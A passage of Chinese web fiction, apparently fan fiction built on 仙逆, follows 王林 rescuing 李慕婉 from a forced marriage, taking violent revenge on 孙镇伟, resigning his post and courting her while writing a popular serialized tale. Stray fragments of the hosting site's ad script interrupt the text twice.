李慕婉望着那满身伤痕的人,泪如雨下。天麓山救她时不顾一切的仗义,王家村次次维护,离乡时的允诺,画面滚滚而来。 她再顾不得那么多,纵身而跃,红色嫁衣裙摆被风鼓动,王林接住了他的月光。 少年身上血染尽衣衫,长剑挂于腰间,双臂拖着李慕婉,李慕婉结结实实落在他膛前,他下颚抵着她颈窝,生怕碎了。 “阿兄。”她伏在王林肩头,脸埋入颈侧,身上是熟悉的提神香,还有一股浓厚的血腥,二人发丝被风搅缠在一块,似要将他们的命运纠缠到底。 王林抱够了才缓缓放下,借着月色,他抚过李慕婉的面颊,融在臂弯的温暖里,二人额间相抵,王林望着她眼睑,声声柔情:“婉儿,阿兄来了,阿兄来晚了!不怕” 李慕婉受着这份难得的柔情,沉浸其中,可那满身伤痕着实触目惊心,“阿兄,你的伤……” “无妨。”他气息沉重,失而复得抱着人,已然忘了伤痛。 王林念道:“永正九年,三月二十七日,刚孵出的小鸡会啄人不疼……” 李慕婉身躯微怔,略显震惊,王林左臂扣紧她,右掌握住她的手心,抚在自己面颊上,继续温声说:“永正九年,四月初十,苍翠的稻叶锋利伤人会疼,院里海棠花盛开,雨季淋坏了婉儿的山茶,乞巧节画舫的灯谜要有情人才能猜……” “一别数月,百花落尽月又西,我怎会读不懂婉儿话中相思,我又何尝不是如此?” 那都是她家书上的手札所记,李慕婉哽咽着,眼眶含着泪,抿唇不落。 “可是永正十年四月后,我的婉儿,再没给我寄过家书。”抵着的额头松开,他退了些距离,想要看得更清楚一些,双手捧过李慕婉的小脸,似珠玉般珍视,“不是说好等我回来么,不作数?” 李慕婉再忍不下,眼眶的泪潸然而下,她将这些日子的委屈和思念尽数扑进他怀中。 “阿兄……” 二人相拥在夜色里,王林安抚了许久,指腹擦过面颊的泪,指背再轻轻一带,再次落回她轮廓上,手里的绷带残留了血汗,他只能以指尖轻抚。 李慕婉的泪落尽了。 王林却在火光里看见她脖颈的红痕,眼中的柔情突变,随之而来的戾色,“他伤你了?” 李慕婉垂眸,不想他担心。 王林拖过她手臂,衣袖掀起时,手腕也是红痕,“他还碰你哪了?”那声音暗哑又极力克制,他心底不由来一股怒意,仿若还掺杂了一丝酸涩,他怜惜着,又痛恨那人,要灭了他,撕碎他。 “阿兄,婉儿无碍,你今夜大闹孙府,即便孙家父子罪孽深重,理应要官府那边处理……” 王林却满不在意,咬牙切齿道:“孙镇伟,他必死!” 王林起身,身影压过光亮,朝她伸出手,“走。” 李慕婉蓦然,仰头望着身躯,“去哪?” “我带你去杀人!”王林神色狠戾。 李慕婉微怔须臾,随即搭过手去,王林一把将人拉入怀里。 孙镇伟受了伤,逃不快,孙府后院寂静无声,下人早已在那场大战中仓皇而逃。 王林搂着李慕婉,步子不快,可还是撵上了从阁楼受伤爬下来的孙镇伟。 “孙镇伟,你大限已至,还想逃到哪里去?”王林声音骇然穿过寂夜。孙镇伟就好似失魂的野鬼,发丝杂成一团,婚服坠了泥,捂着肩口那道伤,青石板落了一地的血。 他侧头转回身,见着二人走过来,尤其是王林的目光,让人慎得慌,孙镇伟想求饶,跪地不起:“饶命,小的愿奉上孙家所有财产,只为能保留性命。” “你伤我婉儿,此刻还有脸求情,”王林将人护在身后,不想脏污之物秽了李慕婉的眼,“我要你加之她身上的伤,成百上千的还回来。” 说时迟那时快,王林手起刀落,刀身划过孙镇伟双腕,手筋被挑断了,痛苦的厮鸣声游在空宅里,惊起枯木上的寒鸦。 那哀嚎声盖过鸦声的凄厉。 李慕婉看得心慌。 孙镇伟痛苦道:“王林,你杀我全府上下,你以为今夜能全身而退吗?” “聒噪。”王林再次挥剑,孙镇伟脚腕再次传来撕裂,那是脚筋跟着被挑断。 哀嚎再次撕破暗夜,他身上千百倍的痛处无处明说,整个身躯如死蛇瘫软在地,再撑不起来,只能抬着脖颈怒目着王林,惊恐的眼神却好像在看一个恶鬼。 “婉儿,转过去。”王林背对着李慕婉,微侧了视线,李慕婉照做。 没过多时,王林再次提剑,孙镇伟脖颈一道血痕渗出,却不深,那血液细流,不叫他一口气死了。 孙镇伟整个身躯连同面颊瘫在带血的泥尘里,瞳孔睁得很大,口中想说话,声带断了,发出的声如同恶犬,听不清。王林要叫他亲眼见着自己的血液流尽,浸在血里,尝着自己的血味,直至死亡。 “走吧,回家。”王林手揽过李慕婉细腰,紧紧护着,凤冠随着步伐晃动,李慕婉取下那冠,甩进熊熊烈火中,月色笼罩二人身影,悄无声息地消失在孙家宅院。 官兵抵达孙府时已是横尸遍野,血流成河,无人生还。 34.心意 竹林小院内,西厢房里,李慕婉坐在床榻上,王林坐于榻沿,双手捧着李慕婉的手,“我与爹娘说了,让他们安心睡下。” 李慕婉担忧道:“我哥哥还在县衙牢狱里,阿兄,我担心……” “不用担心,巡查使到了长乐县,孙家的那些事,足够灭他们九族了,”王林抚着她后脑,“巡查使连同守备军,以及我们提供的证据线索,已证实药材是孙家蓄意更换,以谋取私利。奇庆兄是受害者,既然查明,县衙想必已经放了人,待婉儿养好伤,就能见到哥哥了。” 李家铺子还关着,李奇庆未归,王林只能将她带回来。不在自己眼皮底下,如何都不能安心。 东厢房久置无人居住,一时半会也收拾不出来,只能让她睡在自己西厢房。 “巡查使怎会那么巧就来了长乐县?”李慕婉心思细腻,一语道着关键。 王林将识得杨云山的起因经过一一道明,李慕婉才恍然大悟,从那时起,他便做了一手准备。 “阿兄是从景宁县赶回来的……”烛火下,李慕婉看清他面颊上的那道划痕,血液凝固了,还有她亲眼所见他后肩中肩头,只是黑夜里,他又身着一身黑衣,殊不知身上还有不少伤。 黑袍遮着看不出来,可脸上的却格外明显,她抚过王林面颊,“阿兄受伤了。” “无碍。” 李慕婉心疼,朝他面颊伤处轻轻吹气,“阿兄骗人,怎会不疼。” 见她如此细致,王林欣然一笑,受着她的气息,也没阻止。 “阿兄,你在京城的官职呢?”李慕婉闪过一丝念头。 “辞了,”王林望着她,舍不得移开眼,“往后都不会再去京城了。” “为何?”李慕婉被盯得不自在,她很少感受他这样的炽热,“王叔和周婶知道吗?” “知道,爹娘不曾责怪我,我做什么爹娘都会支持我。”王林温声,“婉儿无需担心,只需好好养伤即可。” “你是好女子,我本该以功名相报。” “可是婉儿无法涉足的地界,我王林此生也定不会踏入半步。”他目光决绝,李慕婉如雷贯耳,他这话中之意是? “阿兄,这是何意?” “你不用担心自己无法踏足京城,而耽误我前程。我王林对官途从不向往,从前执着上京要考得功名只是想争一口气。而今也算是对我这些年苦心研习的成果有了验证,知道自己是能考上的,做不做官,能不能光宗耀祖,似乎并非那么重要。” “爹娘也知道的,只要一家人平安无事,同守一屋檐下,度过春夏秋冬,已是世间幸事。我不求官途亨通,爹娘也不是贪图荣华富贵之人,他们只是想我好,可我回来王家村守着爹娘,守着婉儿,也一样好。” 李慕婉极少听得他如此表露心迹,这是鲜活炽热的王林。 “我,我听哥哥说,你在京城时,有人要逼婚于你,阿兄又是如何脱身的?” 王林将周紫虹相助一事道与她听,李慕婉又是震惊。原来他早已知自己身世,上京前虽有猜测,上京后从程贤那听得的话,王林便已确定了。 “原是如此。” 忽而李慕婉又后怕道:“阿兄,即便孙家罪有应得,可你屠杀满门,没有巡查使的文书,却非师出有名,婉儿担心……” 她想到临行前给他那块金牌,“阿兄,我给你的锦囊呢?可有用了?” “用了,”王林早有准备,起身从柜里拿出一卷文书,“我用它换了点东西。” 李慕婉见他卖关子,不忍急道:“换了东西?何物?” 他把那文书卷摊开,里边是明黄的绫锦缎,李慕婉打眼一瞧,那是圣旨。 眼神里满是诧异,王林交到她手心,让她握紧了,“辞官前,我拿了这免死金牌,向陛下讨了个赏赐,要他把这天下最好的女子,许配于我,有了这赐婚圣旨,孙镇伟还敢强娶,便是抗旨。” “有这圣旨,我即便屠杀孙家满门,不过是替陛下铲除抗旨不尊之辈,官府也不敢深究。” 要搜集孙家的滔天罪行,还有暗中勾结的官员,才能彻底断了反击之势,永除后顾之忧,这些他早有准备。至于他最后脱身的底牌,便是这道圣旨。 “阿兄从京城辞官,是为我!”李慕婉低头思索,原来自己在他心中早已如此重要。 “未经你意,擅自请旨,是我唐突冒犯。若婉儿不愿,这圣旨,我便当没有过,绝不会强迫你意愿……”王林眼神闪过一丝暗伤。 “阿兄,婉儿愿意,往后让婉儿为你掌灯吧。”李慕婉抱着他宽背,脸颊埋入膛前,感受着他的气息。 王林松下最后一口气,从孙宅把人抢回来,他仍吊着一丝不安,虽心知她的心意,可也得经得她的同意。 他把人禁锢起来,稳稳抱在臂弯里,烛火打在双影上,陈旧的水墨山水屏风,映着两道残影。 竹林小院外想起呼声,“婉儿,哥哥来了。” 那是李奇庆的声音,县衙牢狱刚放人,他便跟着官兵连夜赶回清平镇,只是到了孙府看见那横尸遍地的景象已然吓失了神,若非巡查使告知王林一事,李奇庆也想不到来王家村寻人。 王林闻声松了手,“婉儿。” 李慕婉沉在温情里,起初还没听见,而后才听着声,“是哥哥的声音?” 二人出了西厢房,院门开了,李慕婉瞧出人一把上前抱住李奇庆,哭诉道:“哥,你担心死我了。” 就是这声音,李奇庆身上的疲惫烟消云散,他轻抚后背,安抚道:“哥无事,去了孙府不见你人影,你可还好?” “婉儿很好,让哥忧心了,”李慕婉挣脱怀抱,转过身看着王林说,“是阿兄带我回来的。” 李奇庆知道,那孙府的人横躺堆叠的尸首都是出自他手笔,就连那还未断气的孙镇伟,口中还在不清的咒骂,模糊听得是他的名字。 如此心狠手辣之人,他还是有些防备的,“你布如此大一张网,只是因为解救我兄妹二人?” “是。”王林淡淡道,准确的说,只是因为李慕婉,若非他是她兄长,他也不会费心至此。 “婉儿,走吧,跟哥哥回家。”李奇庆拉过李慕婉,欲要做辞。 王林上前,身量与身高的优势让他占尽了气势,可言语却是恭敬:“奇庆兄,婉儿今日受了惊,不宜再奔波劳累,就让她在此养伤吧,等她伤好,我定会送回去。” 李慕婉抬眼等待李奇庆的答复。 “你二人没有婚约,今夜你又声势浩荡地抢了这婚事,婉儿再住王家,于她名声有碍,不妥。”李奇庆坚持。 “哥,我不怕……” “若是因我二人没有婚姻之实,”王林打断李慕婉的话,此事不应由她出面,他揽过责,“那我愿就此当双方长辈之面,天地为证,日月为鉴,我王林愿娶李慕婉为妻,此生不负,唯爱一人。” 李慕婉见势拉着王林手臂,与他立在一侧,“哥,让我留下吧,婉儿自有分寸的。” 静了须臾,李奇庆沉息道:“三日后,哥哥来接你。” 送走李奇庆,王林深感疲惫,让李慕婉换下寝衣,自己去净房洗净了身上的血迹,那身黑袍浸泡出一盆又一盆的血水,身上的伤也是背着李慕婉草草上了些药。 待他重回西厢房时,李慕婉已经躺下了,只是王林未回,她无法入睡,今夜他的话里透出的心意,让她倍感心足。 王林回来时瞧见屏风后,榻上躺下的人影,先是顿了足,默了片刻,清了嗓音道,“你安心睡,我守在这。” 李慕婉透过屏风,见那长影落坐案前,“阿兄也是。” 王林面容泛着浅笑,抚过那沓家书,便像是抚平这些日子的动荡,放置好,吹了灯,睡下了。 夜沉亥时,李慕婉睡得沉,只是梦里划过画面,那身影不明,却又好似熟悉。高殿之上,王林得封探花郎,李元朗请旨逼婚王林,王林拒而不受,惹了圣怒。 皇帝一气之下下令斩首,人头滚落在她衣摆,那副淡漠的眉眼逐渐清晰的闯入她视线。 榻上有挣扎的动静,却很小。 睡梦中画面再闪而过,孙府外墙长身玉立的背影冲破黑夜,夺目而来,可转瞬间,那飒爽英姿却沦为孙镇伟脚下囚徒。 王林被俘,任孙镇伟凌辱,李慕婉挣扎中扑在他身上,挡下那万箭齐发的箭矢,她口中呢喃念念:“阿兄不要,阿兄……” 王林睡得清浅,闻见动静,逐渐清醒,李慕婉猛 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 然坐起,失神朝空气喊着:“阿兄。” 趴在上木桌的王林骤然直起身,冲入屏风内,“婉儿?怎么了?” 他坐在榻沿,李慕婉额间冒着大颗大颗汗珠,汗珠沿着发鬓顺着轮廓滚落脖颈。王林这才惊厥,伸出双臂,李慕婉会意,挪近他。 王林将惊魂未定的人稳稳拥进怀里,李慕婉几乎整个身躯坐上他腿间。 “梦魇了?”气息还未平复,声音也是刚醒的沉哑,李慕婉周身的余热覆着他。他什么坏心思都没想,只一遍遍安抚着。 “嗯,梦见阿兄为了婉儿身死,婉儿不要,不要……” 贴着的胸膛的人话语不断,好似还未从梦里彻底醒来,“不会的,只是梦魇,阿兄在这,婉儿不怕。” 待她平息后,王林让她继续睡,可李慕婉拉着他手,委屈着,“阿兄别走。” 王林只好待在榻前,守着她入睡,睡着后的人眉心还是紧的,良久才慢慢散开,他把那酣甜的睡颜牢牢记在心头。 久违的从竹林小院醒来,西厢房屋内早已没了王林的身影,李慕婉巡视四周,屋内的提神香若有似无,她掀了秋衾,坐于床榻,脑海中闪过昨夜的画面,却仿若大梦一场。 屏风后的长木桌上,书案叠得整齐,李慕婉思绪万千,昨夜挂在衣架上的那身红嫁衣早已不见,她起身轻盈落座书案前,那是王林以往常坐的位置,俯首时,瞥见那一沓厚厚的信封。 “这是?”李慕婉抚过信纸,“我寄去的家书。” 李慕婉若有所思,不曾想他把信都收的这般好。 遐想之余,门推开了,王林手里捧着不知哪采的花,见着书案出神的人。他怔了好一会儿,李慕婉身上那件中衣宽敞,广袖抬起时,露出半截白,手腕清晰可见的红痕,却让少年眉心蹙起。 听闻动静,她转身对上门框倚着的少年,眉宇间的愁色消散,笑容嫣然起身迎过去,“阿兄。” “你去哪了?” “竹林里开了些花,”王林举在她眼前,“给婉儿采的。” 李慕婉接过插上花筒,“阿兄把这些信都带着?” 王林寻着她视线而过,昨夜那个满是炽热的人有所收敛,可也不像往日那般冷漠疏离,怀着淡淡的亲切,“婉儿写的,自是要带着。” 说罢又从桌上拿了伤药,走近李慕婉后蹲身而下,近乎与她视线齐平,大掌轻握过她手臂,柔色道:“可还会疼?” 李慕婉盯着他面容,左脸那道伤泛红,她心疼的轻摇着头,“不疼。” 明明他自己身上也有伤,却要装着若无其事,手腕受着药物的凉意,很快又被他覆上的指腹驱散,只剩下余热。 待擦完手上的药,脖颈处的伤也要上药,王林指尖轻触到她颈侧。李慕婉下意识的后仰,似感受到她的动作,王林只能收回,方才那一下是无意识的,缓过神后才觉有失分寸。 “你,自己上?”王林声音低哑,好似二人都有生疏,虽已表明心迹,却还没到可以淡然触碰对方的程度。 “嗯。”李慕婉接过药罐,指尖轻蘸了些药粉,微侧过身,寻着脖颈的伤,慢条斯理地涂抹。 见她专注,王林才移动身子走到屏风后,铺好床,早间出去的深色外袍被竹林的露雾打湿,又重新换了件外袍。 李慕婉听得身后悉悉索索的动静,也不敢往那瞧,口中念道:“阿兄,你的伤,可也有换过药了?” “换过了。”王林声音飘出,“涂好了吗?去正堂吃饭吧,娘备了你爱吃的。” 他怎的知道自己爱吃什么?李慕婉暗自思忖,从前住一块时,他也显少关心自己。 “怎么了?”见她出神,还以为她在忧思昨日之事,“别担心,爹娘都知道了,至于孙家的事,你也不必伤神,一切妥当。” “有我在呢,眼下要事,就是好好养伤,其余都不要想。” “嗯。”只要他在,她便觉着安心。 “等你养好伤,我送你回家。”二人穿过屋檐走到正堂,王天水与周英素也许久未见她,怜惜溢于言表。 关切了好一会儿,几人才好好坐下吃饭。用了饭后,花影王浩等人来竹林小院看过李慕婉,王林说有要事得出去一趟,并未作陪。 35.为难 院外的几人围着她左一句右一句,李慕婉都只是点头让他们放心。 王浩低声问着她,“听闻昨夜孙府满门丧命,婉儿你跟铁柱哥就这么回来了,我都不敢信。” “是啊,我娘从镇子上回来说见着官府的人在孙府进进出出,尸身从昨夜抬到卯时熹微才停,孙镇伟父子已经命绝。”花影说着还有些唏嘘,“这是铁柱哥一人做的?” 李慕婉若有似无点了点头,并未表露诧异。 “我还听说,孙镇伟命吊了半宿,官府人去到时还没断绝……”他说起时想象到那画面便已经毛骨悚然。 几人面面相觑,知道王林有些武艺傍身,却不知他能以一身抵挡上百护卫,还能安然无恙回到王家村。 “阿兄说多亏了诸位,替我哥哥寻找线索,忙前忙后,婉儿无以回报。”李慕婉朝几人欠身致谢,“待婉儿养好伤,同哥哥一道宴请各位。” 花影语气带着惋惜,“铁柱哥好不容易考上探花郎,说辞官就辞官了,回来王家村还撼天震地抢了一桩婚事。” “不过也好在他回来了,不若婉儿就得落入歹人手里。” “婉儿,你可知铁柱哥因何辞官啊?”他们只知王林要救李慕婉是出于仁义,却都没往更深的方向想。 李慕婉撇过视线,望着院墙的海棠树,幽幽道:“许是发觉做官没有在王家村自在?其实京城也没什么好的。” 她在京城生活过,却远离京城,王林寒窗苦读多年去了京城,也要回来。 王浩似有定论,重重点头道:“婉儿和铁柱哥都不想待的,想必也没那么好,回来也好,往后咱们又能像以前一样去镇子上喝酒了。” 王林到了镇上与巡查使交代了昨夜孙府之事,拿出那道赐婚圣旨,孙府强娶豪夺,无视圣意,王林为自保只能出手抵抗,那些护卫和孙凌武身上的伤足以证明是交锋打斗留下的,唯独孙镇伟,四肢筋脉挑断,分明是泄愤的手段。 虽心有疑虑,念及王林相助之情,又多番相助探查,证据确凿,加之圣旨加持,巡查使无法追究其责。至于与孙家暗箱联手栽赃李奇庆的知县已被关押审讯,此事牵连守备军。 若是那药材在军营出了事,后果不堪设想,连同整个长乐县涉及的官员都会一并查抄。 三日后,李家铺子重新营业,外商慕名而来,接的单子也比之前还要多,李奇庆忙得脱不开身,也没空去接李慕婉,只是养好伤的李慕婉也不便一直待在王家,况且铺子需要人手,她早早便要辞行。 秋日风起,将二人靠拢的发丝缠绕,很快又落下,王林立在铺子不远处,“就送到这了。” “阿兄,你接下来有何打算?”李慕婉望着他问。 虽说有了赐婚圣旨,二人也表露心意,接下来王林该是考虑二人成婚之事。只是李慕婉才经一事,他若急切提及反而对她不好,况且他辞了官,总要另寻活计,至于父亲的木雕生意,他也可以凭此为生。 只不过在京城待的那一年,他并不想仅仅以木雕为生,或许还有别的路可以选,他不想委屈了李慕婉,也不想父母再为自己操持。 “若有,我会与你说,可好?” “嗯,”李慕婉这才安心,嘱咐道,“阿兄早些回。” 二人在街旁已站了许久,仿若谁都不愿先踏出一步,又是磨了些时辰。李慕婉率先打破僵局,见她身影进了铺子,王林这才转身离去。 李奇庆在柜前捡药,听闻动静,把关切变成了揶揄,“我们婉儿,舍得回来了?” “哥,”李慕婉拖着声音,眼眶泛酸,过去抱着李奇庆,那晚在竹林小院见着安然无恙的他,李慕婉多月以来的忧心也跟着尘埃落定,他还这般调笑自己,“婉儿想你了。” 李奇庆手里拿着药,就置在半空,“哥以为你不要回来了,满心满眼只有你的阿兄。” “哥哥为何不来王家村看我?不是说好来接我吗?”李慕婉诘问,“可是还对阿兄有不满?” “他救了我,也救了你,哥哥能对他有何不满?”李奇庆轻敲她额头,若说不满,也只能怪他拐了自己最宠爱的妹妹。 “哥,阿兄他辞官了,”李慕婉松了手,替他整理着药单,“而且,他在京城也知晓了咱们家的事……” 她的试探在李奇庆眼里一览无余,李奇庆拉开药屉,沉思少顷,“若他王林愿意做到此地步,哥哥无话可说,婉儿,你随心就是。” “其实哥不答应也不行。”李慕婉低头,眼角打量他。 “哦?如何?婉儿要忤逆哥哥?”李奇庆并未生气,轻笑道。 “也不是,是阿兄辞官前求了一道赐婚圣旨,不嫁也得嫁。”她五官精致,眼珠子提溜转动,就想看看李奇庆是何反应。 李奇庆宛若有种入套的错觉,这王林比孙镇伟还要蛮横,一道赐婚圣旨,便可断绝了李慕婉后路,包括他这个哥哥,即便反对也无济于事。 “他与那孙镇伟有何区别?”李奇庆恼道。 “自是不同,”李慕婉忙着解释,“阿兄待我赤诚,是真心不负,哪是那厮能比拟的,婉儿不与哥哥说了。” “这就维护上了?”李奇庆望着入后院的背影,“哥跟你闹着玩的。” 李慕婉不应,见她不理自个儿,李奇庆又喊道:“晚饭想吃什么?哥去给你做。” 药房里传出一声:“都行。” *** 李慕婉在药铺养伤几日,王林待在竹林小院,心里念着人便想往镇子去。 她受了惊,李奇庆要她在屋里养着,哪也不许去。李慕婉不能忤逆只能待在药铺里,可心思已经飘远了。 王林在铺子求见,李奇庆睨着他没给开门,虽说对他出手相助一事有所感激,可是这几日他静下心后越想越不对劲。 原先妹妹受了他不少委屈,而今就这么便宜给他了? 思虑后李奇庆态度也有所转变,“王林,你当真以为救了婉儿,我就能让你们在一起了?挟恩图报之事,在我李奇庆这里不管用。” “王某绝无此意。”王林背影立在黑夜中,空寂的夜只剩孤单的人影,他已经站了一日。 “小妹说你还私自请了赐婚旨意?”李奇庆说到此处更是不耻,“你即便拿出圣旨,只要我不答应,你也别想娶走婉儿。” “你这与那孙家狂徒有何区别?” “请旨赐婚并非有意强迫,我于婉儿情意,天地可鉴。”王林挺直身躯很是坚定。 “我只想见婉儿一面,见着就走,还望李兄成全。” 李奇庆无言以对,关上门不再理会,空中划过几道闪电,惊雷骤响,大雨倾盆而下,雨珠拍在他面颊上,是疼的。 李慕婉挑帘欲要将人请进来,却被李奇庆拦下,“婉儿,你这般心软,往后竟是他拿捏你的份,哥哥也是为着你好。” “我知道,”李慕婉心急如焚,“可是哥,阿兄身上本就重伤未愈,加之日晒整日,不曾进食,眼下又淋着雨,即便他是铁炼的也经不起这一番搓磨啊。” 李奇庆倒也不是真想要为难于他,屋外雨势越发大了,李慕婉顾不了,绕开李奇庆开了门,暴雨冲刷,全身被雨帘覆盖的王林,看见李慕婉那一刻,漾起久违的笑意,仿若丝毫不在意从白日候到深夜的苦。 “阿兄,快进来。”李慕婉撑起伞挡着雨,水泊浸湿了鞋袜和衣裙。 “婉儿进去,阿兄不进。” 李慕婉急了,对着屋内正肃的人道:“哥,你让阿兄进去可好?若他倒在咱们铺子里,旁人该要如何看咱们?” 李奇庆甚是无奈,摇了摇头,终于松口。 李慕婉扶着王林入了药铺,李奇庆给他拿了一身干净的衣裳,那背上受的伤浸泡后又裂开了,李慕婉本是要给他上药的,李奇庆却拦下,自己上手。 “男女授受不亲,小妹怎得忘了?” 李慕婉低头退出去,背着房门,心里都是担忧。 李奇庆看着背上的伤痕骇人,才知他那夜孤身抢婚,受了这等重伤,可那晚去王家要人时,倒是看不出来他伤了,可见他忍耐非常人所能想象。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 屋外雨水转小,王林欲要请辞。 “外伤而已,不必麻烦,”他却状若无事起身说,“我说过见着婉儿就会走,如今见到了,李兄告辞。” 李奇庆没有拦,王林出了门与李慕婉说了几句关切的话,又允诺会常来看她。 *** 回去之后的王林静下心思索自己的道路,从前只想着考功名,忽而一大重事画上句点,他也有所迷失方向。 虽能与家人团聚,可到底往后也要过日子。在京城时,戏楼,茶肆,酒坊,书铺都盛传话本,每次与程贤到了书铺,除学子外,京城有看话本之人数不胜数。 写话本谋生也不是不可取,李慕婉送的那支狼毫,在京城那些年一直陪伴身侧,如今放在笔帘最显眼的位置。 他摊开纸张,研磨墨汁,蘸墨落笔。 一连半月,王林又去看药铺看了一次李慕婉,还这折了她喜爱的花送去,之后回来便都沉浸在小院里奋笔疾书,话本故事越写越顺,周英素和王天水见他比先前温书还要用功,敲了门王林也只是淡淡应道无事。 李慕婉接连多天见不着人,在药铺忙碌的人影连连叹息,李奇庆见她心神不宁,“我们李家虽开药铺,疑难杂症哥哥也略懂一些,只是这相思病着实无解。” 李慕婉闻声,收起情绪,“哥,你胡说什么呢?” “你整日整日在这盼着,盼什么人哥哥不知道吗?”李奇庆说,“他不来,你去,哥哥允你休沐一日。” “当真?”可是很快李慕婉又泄了气,她才不去,明明说好会来看她的,可是已经半个月了,也没瞧见人影。 王林拿了写好的话本初稿到镇上书铺交谈,掌柜看了几话连道好。当即应了王林要求,往后每隔三日,王林都会拿着话本新稿到书铺,书铺按量拓印,所卖银子与书铺掌柜分成。 待与书铺商谈完后,王林望着对面的药铺,缓步而去。李慕婉还在药房炼制丹药,药房炉火生了几个,她一边翻看手札,一边又看着医书,桌上药材摆放整齐,还有一些刚成的丹药还在冷却。 只有李奇庆一人在药铺正堂捡药,王林朝里唤着,拱手作揖:“奇庆兄。” 李奇庆抬眸看见人影,颀长身姿挡住了日光,他忙放下手中活,从柜台走出,朝前回礼:“王林兄,来了。” 见他视线朝屋内瞟了几眼,便知他所来何事,李奇庆抬手示意他落坐,朝后院喊了声,“婉儿,把你炼的丹药拿出来一些,待会哥哥要出去送药了。” “哦,知道了,来了,”李慕婉衣袖擦了把脸,捧着丹药便风尘仆仆出来,“哥,你怎得这会出去送药啊?” 她一手抬起遮帘,径直往柜台去,也没抬眼看人,二人就这么瞧着她。 “婉儿。”王林轻轻唤了一声,熟悉的声音传来,李慕婉恍然回眸,看见王林与李奇庆坐一块喝着茶。 “阿兄?”李慕婉声音雀跃,面上扬起笑容,移着步子往王林所做方向走去,全然忽略一旁的李奇庆,“阿兄怎么来了?” 看见李慕婉的喜悦,王林跟着不自觉挑起笑,也丝毫不避讳身侧的李奇庆,“来看看你。” 李慕婉抓过他手掌不放,“阿兄这几日都在做什么?” 王林只是隐隐带笑,眼神都是宠溺。 李奇庆见二人浓情蜜意,倒觉自己多余了,叹了口气,酸道:“得,我去送药去。” 李慕婉似听不见,也没应他,就逮着王林问了许多问题,王林都一一耐心回应。 李奇庆这会后悔了,就不该叫她出来,摇了摇头出了药铺,“心寒啊,心寒,女大不中留了。” “阿兄说写话本谋生?”李慕婉给王林倒了茶,坐到先前李奇庆的位置,“你是从对面书铺过来的?” “嗯,”王林侧头看她时把她那眼底的失落笼到视线中,解释道,“主要是来看婉儿的。” 她那粉红的鼻头蹭了些炭灰,王林见着可爱,也不提醒她擦了,又见她发鬓微乱,衣袖绑起,泛着疲态,心疼问道,“你在忙什么呢?” 36.灯会 “哥哥接了许多外商的单子,除了采购药铺的药材之外,也有特意加了丹药的单子,婉儿这些天都在药房炼制丹药,”李慕婉说着蹭了蹭鼻尖,看见手背落了灰,又看看王林的表情,一股挑逗的意味,她偏头连忙擦干净,“阿兄看见了,怎得不提醒婉儿?” 王林笑了笑,起身走近她,替她抹净余灰,“不用擦也怪可爱的。” 他这般逗趣自个儿,李慕婉倒是害羞了,面颊泛起红晕。王林看在眼里,好些日子不见,见着了却又不舍,“爹娘说,让你有空来家里吃饭。” 李慕婉想起来有东西要交由他,从药柜里拿了几个瓷瓶,还有一个小木盒,双手递过去,“这是给王叔和周婶的清心丹和安神香,这是给阿兄的提神香。” 王林接过后揣入怀里,“若话本卖得好,往后我便到书铺里写,还能替人写信赚些工钱。” 王家虽说清贫了些,先前是因着要攒银子供王林考试,如今王天水接着木雕也多起来,王家日子过得宽裕,倒无需他如此分身赚工钱,李慕婉关心道:“阿兄,要用银子?” “嗯,”王林俯视她,目不转睛道。 “阿兄若有需要,尽管跟婉儿说便是。”李慕婉旋即就要去拿银子,却被王林拦下。 “并非如此。”他微垂首。 “那阿兄急需银子做什么?”李慕婉仍有疑虑。 “娶妻不需攒银子么?”王林漫不经心摸了摸她发丝,“爹娘盼着我早日领个好媳妇回去呢。” 李慕婉闻言小脸霎红,欲言又止,王林瞧她这个模样甚是娇俏,把人盯着看羞了,李慕婉只能避开视线。 夕暮前,王林要赶回王家村,李慕婉相送到镇子口,见她满心不舍,又是无奈。 王林的话本拓印后放在书铺大受喜爱,每日到书铺追读之人塞得无处落脚,原先拓印的数量远远不能满足镇上所需。 就连在清平镇歇脚的外商坐在茶楼酒肆都能随处听见讨论话本《逆仙》的故事,王林隔三日会出一话新的内容,这已无法满足书迷对话本的热情。 清平镇一时风云涌起,就连其他州郡的百姓也都口口相传。 话本里的主角青木少年为父母争口气,选择修仙之途,向往修真世界,却不料惹上杀身之祸,祸及全族,失去亲缘的他自身陷入死局。 重活之后,一路杀伐决断,求的不仅仅是长生,更是要复百年前杀亲灭族之仇。 在这孤寂寥苦的一生,遇见心中所爱,却不料几经周折,生死永隔。此后,他一生修道,却只为一人。 众人皆为此修仙少年遭遇愤愤不平,又惋惜难遇良缘,却要历经几千年孤独的修行之路才能复活妻子。 《逆仙》短短一月便传唱赵国,就连京城的戏楼,茶坊都在畅销此书。 除了书铺掌柜和家中之人,却无人知晓此书著作姓甚名谁,这也是王林与掌柜达成的其中一个条件。 书铺专门设了一间书房供他写书,平时除了李慕婉进出,就连掌柜的也不敢多去打扰。 休憩之余,李慕婉便来给王林添茶送水,也不敢久待,生怕耽误他写话本。王林拉着要走的李慕婉,“婉儿,再待一会儿。” “阿兄,你不写话本了?”李慕婉坐回位,认真说,“来药铺的外商都在谈论话本里青木跨入元婴后,寻藤家复仇还要几话才能写完,阿兄不急着赶稿吗?” “无妨,再与婉儿待一会儿。”《逆仙》话本赚的稿酬已经足够他在清平镇买套宅子了。只是王林对金钱欲望并不像世人那么强烈,数额与他都没多大波动,但是要娶亲,这些银子足够了。 他心里盘算着,“听那些书客说,重阳节镇上会有灯会,到时,我陪婉儿去看,可好?” 李慕婉瞳孔微张,宛若接收到心底所想之事。她本想提的,但又怕占用王林写话本时间,倘若自己提了,他必然不会拒绝,她又舍不得他为难,故而心里隐下来,也没主动提过这事。 “不想去?”王林见她明明是欣喜的,却未表露得明显。 “想,想去。”李慕婉手被握得暖暖的,手背受着他指腹的轻柔,对视的目光逐渐灼热。李慕婉被盯得无处躲藏,抽回手,理了发丝,试图清醒着,“婉儿先回了。” 王林浅泛着笑,拿起笔摇了摇头,目送她离去。 掌柜的与人交谈时,视线扫过李慕婉背影,追上前拦下她,“婉儿姑娘留步。” “掌柜何事?”李慕婉回眸看他。 